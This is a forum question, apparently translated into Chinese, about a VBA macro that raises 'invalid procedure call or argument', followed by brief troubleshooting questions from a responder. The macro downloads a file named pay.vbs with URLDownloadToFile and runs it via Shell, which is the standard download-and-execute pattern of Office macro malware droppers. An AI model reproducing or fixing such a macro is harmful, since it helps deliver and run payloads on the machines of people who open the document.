宏VBA代码外壳程序无效过程调用或参数

我试图制作一个宏来下载并执行文件。代码如下：

Private Declare Function URLDownloadToFile Lib "urlmon" Alias _
                    "URLDownloadToFileA" ( _
                        ByVal pCaller As Long, _
                        ByVal szURL As String, _
                        ByVal szFileName As String, _
                        ByVal dwReserved As Long, _
                        ByVal lpfnCB As Long) As Long

Sub AAA()
Dim SourceName As String
Dim Destination As String
Dim R As Long

SourceName = "http://localhost/files/pay.vbs"
Destination = "C:\users\david\ex.vbs"
R = URLDownloadToFile(0&, SourceName, Destination, 0&, 0&)
Shell "C:\users\david\ex.vbs", vbNormalFocus
End Sub

---

它给出了错误：无效的过程调用或参数

假设pay.vbs已正确下载，并且错误在shell execute中，则pay.vbs的本地副本可能需要参数或以某种方式引用其原始主机。请参阅。生成错误的是VBA还是VBScript？确切的错误消息是什么样子的？您使用的是64位版本的Windows吗？@MacroMan是的，Windows 10 64位